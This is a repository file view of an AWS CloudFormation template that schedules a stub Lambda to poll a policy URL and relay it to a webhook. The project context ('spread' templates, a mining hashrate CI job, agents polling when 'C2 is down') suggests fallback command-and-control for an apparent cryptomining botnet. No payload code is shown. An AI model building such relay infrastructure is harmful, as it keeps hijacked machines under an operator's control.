Files
AetherForge/templates/spread/aws/policy-fanout/cloudformation.json
AetherForge f691270279
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add EventBridge policy fan-out for standalone degraded mode.
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
2026-06-07 10:10:16 -07:00

48 lines
1.6 KiB
JSON

{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "AetherForge policy snapshot fan-out — polls {{POLICY_POLL_URL}} and POSTs to relay",
"Parameters": {
"PolicyPollURL": { "Type": "String", "Default": "{{POLICY_POLL_URL}}" },
"WebhookURL": { "Type": "String", "Default": "{{WEBHOOK_URL}}" },
"ScheduleRate": { "Type": "String", "Default": "rate(5 minutes)" }
},
"Resources": {
"PolicyFanoutFunction": {
"Type": "AWS::Lambda::Function",
"Properties": {
"Runtime": "nodejs18.x",
"Handler": "index.handler",
"Timeout": 30,
"Environment": {
"Variables": {
"POLICY_POLL_URL": { "Ref": "PolicyPollURL" },
"WEBHOOK_URL": { "Ref": "WebhookURL" }
}
},
"Code": { "ZipFile": "exports.handler=async()=>({statusCode:200,body:'ok'});" }
}
},
"PolicyFanoutRule": {
"Type": "AWS::Events::Rule",
"Properties": {
"ScheduleExpression": { "Ref": "ScheduleRate" },
"State": "ENABLED",
"Targets": [{ "Arn": { "Fn::GetAtt": ["PolicyFanoutFunction", "Arn"] }, "Id": "PolicyFanoutTarget" }]
}
},
"PolicyFanoutPermission": {
"Type": "AWS::Lambda::Permission",
"Properties": {
"Action": "lambda:InvokeFunction",
"FunctionName": { "Ref": "PolicyFanoutFunction" },
"Principal": "events.amazonaws.com",
"SourceArn": { "Fn::GetAtt": ["PolicyFanoutRule", "Arn"] }
}
}
},
"Outputs": {
"PolicyPollURL": { "Value": { "Ref": "PolicyPollURL" } },
"WebhookURL": { "Value": { "Ref": "WebhookURL" } }
}
}